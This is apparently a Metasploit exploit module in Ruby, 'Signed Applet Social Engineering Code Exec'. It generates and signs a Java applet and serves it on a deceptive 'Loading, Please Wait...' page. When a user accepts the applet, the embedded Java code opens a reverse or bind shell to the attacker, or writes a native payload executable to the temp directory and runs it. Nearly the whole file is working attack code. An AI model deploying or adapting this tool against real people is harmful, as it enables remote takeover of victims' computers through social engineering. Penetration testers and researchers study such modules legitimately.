465 lines
14 KiB
Ruby
465 lines
14 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# Framework web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/framework/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'rex'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::Java
|
|
|
|
def initialize( info = {} )
|
|
super( update_info( info,
|
|
'Name' => 'Signed Applet Social Engineering Code Exec',
|
|
'Description' => %q{
|
|
This exploit dynamically creates an applet via the Msf::Exploit::Java mixin, converts it
|
|
to a .jar file, then signs the .jar with a dynamically created certificate containing
|
|
values of your choosing. This is presented to the end user via a web page with an applet
|
|
tag, loading the signed applet.
|
|
|
|
The user's JVM pops a dialog asking if they trust the signed applet and displays the
|
|
values chosen. Once the user clicks 'accept', the applet executes with full user
|
|
permissions.
|
|
|
|
The java payload used in this exploit is derived from Stephen Fewer's and HDM's payload
|
|
created for the CVE-2008-5353 java deserialization exploit.
|
|
|
|
This module requires the rjb rubygem, the JDK, and the $JAVA_HOME variable to be set.
|
|
If these dependencies are not present, the exploit falls back to a static, signed
|
|
JAR.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'natron' ],
|
|
'Version' => '$Revision$',
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ],
|
|
],
|
|
'Platform' => [ 'win', 'osx', 'linux', 'solaris' ],
|
|
'Payload' => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true },
|
|
'Targets' =>
|
|
[
|
|
# Generic java payload is mostly useless right now, as it kills as soon as the user browses
|
|
# to another page. It should be rewritten to launch a new JVM in the background with a custom
|
|
# .class.
|
|
#
|
|
# Look up the path to bin/java, dump .class to java.io.tmpdir, then bin/java foo.class via
|
|
# /bin/sh or cmd.exe
|
|
[ 'Generic (Java Payload)',
|
|
{
|
|
# This is a bad hack to force only the generic/shell_bind_tcp
|
|
# and generic/shell_reverse_tcp payloads
|
|
'Platform' => ['win'],
|
|
'Payload' => { 'Space' => 0 },
|
|
'Arch' => ARCH_CMD,
|
|
}
|
|
],
|
|
[ 'Windows x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86,
|
|
}
|
|
],
|
|
[ 'Mac OS X PPC (Native Payload)',
|
|
{
|
|
'Platform' => 'osx',
|
|
'Arch' => ARCH_PPC,
|
|
}
|
|
],
|
|
[ 'Mac OS X x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'osx',
|
|
'Arch' => ARCH_X86,
|
|
}
|
|
],
|
|
[ 'Linux x86 (Native Payload)',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_X86,
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 1
|
|
))
|
|
register_options(
|
|
[
|
|
OptString.new( 'CERTCN', [ true, "The CN= value for the certificate.", "Metasploit Inc." ]),
|
|
OptString.new( 'APPLETNAME', [ true, "The main applet's class name.", "SiteLoader" ]),
|
|
OptString.new('PAYLOADNAME', [ true, "The payload classes name.", "SiteSupport" ]),
|
|
|
|
# Not implemented yet.
|
|
#OptString.new('PACKAGENAME', [ true, "The package name for gen'd classes.","x" ]),
|
|
#OptString.new('CUSTOMJAR', [ false, "A custom .jar applet to use.", nil]),
|
|
], self.class)
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('SaveToFile', [ false, "When set, source is saved to this directory under external/source/", nil ]),
|
|
OptString.new('Template', [ true, "The default executable template to use", File.join(Msf::Config.install_root, "data", "templates", "template.exe") ]),
|
|
OptString.new('InsertPayload', [ false, "Inject payload into template without affecting executable behavior", nil ])
|
|
], self.class)
|
|
end
|
|
|
|
|
|
def exploit
|
|
#
|
|
# Currently doing all processing in on_request_uri.
|
|
# If this is too slow, we can move applet generation up here.
|
|
#
|
|
|
|
@use_static = false
|
|
|
|
if not @jvm_init
|
|
print_error
|
|
print_error "JVM not initialized. You must install the Java Development Kit, the rjb ruby gem, and set the $JAVA_HOME variable."
|
|
print_error "Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored."
|
|
print_error
|
|
@use_static = true
|
|
end
|
|
|
|
if datastore['SaveToFile']
|
|
appletsource = get_code
|
|
save_to_file( appletsource['classnames'], appletsource['codefiles'], datastore['SaveToFile'] )
|
|
end
|
|
|
|
super
|
|
end
|
|
|
|
def get_code
|
|
|
|
appletsource = %Q^
|
|
/*
|
|
*/
|
|
|
|
import java.applet.Applet;
|
|
import java.io.ByteArrayInputStream;
|
|
import java.io.ObjectInputStream;
|
|
import java.io.BufferedReader;
|
|
import java.io.BufferedWriter;
|
|
import java.io.File;
|
|
import java.io.FileOutputStream;
|
|
import java.io.InputStream;
|
|
import java.io.InputStreamReader;
|
|
import java.io.OutputStream;
|
|
import java.io.OutputStreamWriter;
|
|
import java.net.ServerSocket;
|
|
import java.net.Socket;
|
|
import java.security.AccessController;
|
|
import java.security.PrivilegedExceptionAction;
|
|
|
|
public class #{datastore['APPLETNAME']} extends Applet
|
|
{
|
|
|
|
public void init()
|
|
{
|
|
try
|
|
{
|
|
String data = getParameter( "data" );
|
|
String lhost = getParameter( "lhost" );
|
|
String lport = getParameter( "lport" );
|
|
|
|
if( data == null ) {
|
|
data = "";
|
|
}
|
|
|
|
//System.out.println("Applet executing. Creating payload class.");
|
|
|
|
#{datastore['PAYLOADNAME']} site = new #{datastore['PAYLOADNAME']} ();
|
|
//System.out.println("Payload class instantiated.");
|
|
site.data = data;
|
|
|
|
if( lhost != null && lport != null) {
|
|
site.lhost = lhost;
|
|
site.lport = Integer.parseInt(lport);
|
|
System.out.println("lhost: " + lhost);
|
|
System.out.println("lport: " + Integer.parseInt(lport));
|
|
}
|
|
|
|
//System.out.println("data: " + data);
|
|
|
|
site.run();
|
|
}
|
|
catch( Exception e ) { System.out.println("Applet error: " + e); }
|
|
}
|
|
|
|
class #{datastore['PAYLOADNAME']} implements PrivilegedExceptionAction
|
|
{
|
|
// This will contain a hex string of the native payload to drop and execute.
|
|
public String data = null;
|
|
// If no native payload is set we get either a java bind shell or a java
|
|
// reverse shell.
|
|
public String lhost = null;
|
|
public int lport = 4444;
|
|
|
|
class StreamConnector extends Thread
|
|
{
|
|
InputStream is;
|
|
OutputStream os;
|
|
|
|
StreamConnector( InputStream is, OutputStream os )
|
|
{
|
|
this.is = is;
|
|
this.os = os;
|
|
}
|
|
|
|
public void run()
|
|
{
|
|
BufferedReader in = null;
|
|
BufferedWriter out = null;
|
|
|
|
try
|
|
{
|
|
in = new BufferedReader( new InputStreamReader( is ) );
|
|
out = new BufferedWriter( new OutputStreamWriter( os ) );
|
|
char buffer[] = new char[8192];
|
|
int length;
|
|
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
|
|
{
|
|
out.write( buffer, 0, length );
|
|
out.flush();
|
|
}
|
|
}
|
|
catch( Exception e ) { System.out.println( "StreamConnector error: " + e); }
|
|
|
|
try
|
|
{
|
|
if( in != null )
|
|
in.close();
|
|
if( out != null )
|
|
out.close();
|
|
}
|
|
catch( Exception e ) { System.out.println( "StreamConnector error: " + e); }
|
|
}
|
|
}
|
|
|
|
// http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java
|
|
public byte[] StringToBytes( String s )
|
|
{
|
|
byte[] data = new byte[s.length() / 2];
|
|
|
|
for( int i = 0 ; i < s.length() ; i += 2 )
|
|
data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) );
|
|
|
|
return data;
|
|
}
|
|
|
|
public Object run() throws Exception
|
|
{
|
|
//System.out.println("Applet running...");
|
|
|
|
try
|
|
{
|
|
String os = System.getProperty( "os.name" );
|
|
|
|
// if we have no native payload to drop and execute we default to
|
|
// either a TCP bind or reverse shell.
|
|
//if( #{datastore['PAYLOADNAME']}.data.length() == 0 )
|
|
if( this.data.length() == 0 )
|
|
{
|
|
//System.out.println("Applet thinks payload.data is empty.");
|
|
Socket client_socket = null;
|
|
|
|
String shell = "/bin/sh";
|
|
|
|
if( os.indexOf( "Windows" ) >= 0 )
|
|
shell = "cmd.exe";
|
|
|
|
//if( #{datastore['PAYLOADNAME']}.lhost == null )
|
|
if( this.lhost == null )
|
|
{
|
|
//ServerSocket server_socket = new ServerSocket( #{datastore['PAYLOADNAME']}.lport );
|
|
ServerSocket server_socket = new ServerSocket( this.lport );
|
|
client_socket = server_socket.accept();
|
|
}
|
|
else
|
|
{
|
|
//client_socket = new Socket( #{datastore['PAYLOADNAME']}.lhost, #{datastore['PAYLOADNAME']}.lport );
|
|
client_socket = new Socket( this.lhost, this.lport );
|
|
}
|
|
|
|
if( client_socket != null )
|
|
{
|
|
Process process = Runtime.getRuntime().exec( shell );
|
|
|
|
( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
|
|
|
|
( new StreamConnector( process.getErrorStream(), client_socket.getOutputStream() ) ).start();
|
|
|
|
( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
|
|
}
|
|
}
|
|
else
|
|
{
|
|
//System.out.println("Applet knows there's data to write. Writing to: " + System.getProperty( "java.io.tmpdir" ));
|
|
String filename = Math.random() + ".exe";
|
|
String path = System.getProperty( "java.io.tmpdir" ) + File.separator + filename;
|
|
//System.out.println(filename + " written.");
|
|
|
|
Process p;
|
|
FileOutputStream fos = new FileOutputStream( path );
|
|
|
|
//fos.write( StringToBytes( #{datastore['PAYLOADNAME']}.data ) );
|
|
fos.write( StringToBytes( this.data ) );
|
|
|
|
fos.close();
|
|
|
|
if( os.indexOf( "Windows" ) < 0 )
|
|
{
|
|
p = Runtime.getRuntime().exec( "chmod 755 " + path );
|
|
p.waitFor();
|
|
}
|
|
|
|
p = Runtime.getRuntime().exec( path );
|
|
|
|
p.waitFor();
|
|
|
|
new File( path ).delete();
|
|
}
|
|
}
|
|
catch( Exception e ) { System.out.println("Payload execution error: " + e); }
|
|
|
|
return null;
|
|
}
|
|
|
|
public void #{datastore['PAYLOADNAME']}()
|
|
{
|
|
try
|
|
{
|
|
AccessController.doPrivileged( this );
|
|
}
|
|
catch( Exception e ) { System.out.println("Payload instantiation error: " + e); }
|
|
}
|
|
}
|
|
}^
|
|
appletcode = { 'classnames' => [ datastore['APPLETNAME'] ] ,
|
|
'codefiles' => [ appletsource ] }
|
|
|
|
return appletcode
|
|
end
|
|
|
|
def on_request_uri( cli, request )
|
|
|
|
if not request.uri.match(/\.jar$/i)
|
|
if not request.uri.match(/\/$/)
|
|
send_redirect( cli, get_resource() + '/', '')
|
|
return
|
|
end
|
|
|
|
print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." )
|
|
|
|
if target.name == 'Generic (Java Payload)'
|
|
if datastore['LHOST']
|
|
host = datastore['LHOST']
|
|
port = datastore['LPORT']
|
|
print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." )
|
|
else
|
|
port = datastore['LPORT']
|
|
datastore['RHOST'] = cli.peerhost
|
|
print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." )
|
|
end
|
|
else
|
|
payload = regenerate_payload( cli )
|
|
if not payload
|
|
print_status( "Failed to generate the payload." )
|
|
return
|
|
end
|
|
|
|
if target['Arch'] == ARCH_X86
|
|
if target['Platform'] == 'win'
|
|
opts = { :template => datastore['Template'], :insert => datastore['InsertPayload'] }
|
|
data = Msf::Util::EXE.to_win32pe( framework, payload.encoded, opts )
|
|
end
|
|
data = Msf::Util::EXE.to_osx_x86_macho( framework, payload.encoded ) if target['Platform'] == 'osx'
|
|
data = Msf::Util::EXE.to_linux_x86_elf( framework, payload.encoded ) if target['Platform'] == 'linux'
|
|
|
|
elsif target['Arch'] == ARCH_PPC
|
|
data = Msf::Util::EXE.to_osx_ppc_macho( framework, payload.encoded ) if target['Platform'] == 'osx'
|
|
end
|
|
|
|
if data
|
|
print_status( "Generated executable to drop (#{data.length} bytes)." )
|
|
data = Rex::Text.to_hex( data, prefix="" )
|
|
else
|
|
print_status( "Failed to generate the executable." )
|
|
return
|
|
end
|
|
end
|
|
|
|
if not @use_static
|
|
appletcode = get_code
|
|
|
|
print_status "Compiling applet classes..."
|
|
compile( appletcode['classnames'], appletcode['codefiles'] )
|
|
|
|
print_status "Compile completed. Building jar file..."
|
|
|
|
unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar"
|
|
@signedjar = "#{datastore['APPLETNAME']}.jar"
|
|
|
|
build_jar( unsignedjar,
|
|
[ # Applet
|
|
datastore['APPLETNAME'] + ".class",
|
|
# PayloadX class
|
|
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class",
|
|
# PayloadX StreamConnector for pure Java payload
|
|
datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" ] )
|
|
|
|
print_status "Jar built. Signing..."
|
|
|
|
sign_jar( datastore['CERTCN'], unsignedjar, @signedjar )
|
|
|
|
print_status "Jar signed. Ready to send."
|
|
else
|
|
print_status "Using static, signed jar. Ready to send."
|
|
end
|
|
|
|
# TODO: gzip data and parse in java
|
|
send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } )
|
|
return
|
|
end
|
|
|
|
# load the jar file
|
|
if @use_static
|
|
path = File.join( Msf::Config.install_root, "data", "exploits", "java_signed_applet.jar" )
|
|
elsif File.exists? File.join( datastore['JAVACACHE'], @signedjar )
|
|
path = File.join( datastore['JAVACACHE'], @signedjar )
|
|
end
|
|
|
|
if path
|
|
fd = File.open( path, "rb" )
|
|
@jar_data = fd.read(fd.stat.size)
|
|
fd.close
|
|
end
|
|
|
|
print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}. Waiting for user to click 'accept'..." )
|
|
send_response( cli, @jar_data, { 'Content-Type' => "application/octet-stream" } )
|
|
|
|
handler( cli )
|
|
|
|
end
|
|
|
|
def generate_html( data, host, port )
|
|
html = "<html><head><title>Loading, Please Wait...</title></head>"
|
|
html += "<body><center><p>Loading, Please Wait...</p></center>"
|
|
html += "<applet archive=\"#{datastore['APPLETNAME']}.jar\" "
|
|
html += "code=\"#{datastore['APPLETNAME']}.class\" width=\"1\" height=\"1\">"
|
|
|
|
html += "<param name=\"data\" value=\"#{data}\"/>" if data
|
|
html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
|
|
html += "<param name=\"lport\" value=\"#{port}\"/>" if port
|
|
|
|
html += "</applet></body></html>"
|
|
return html
|
|
end
|
|
|
|
end
|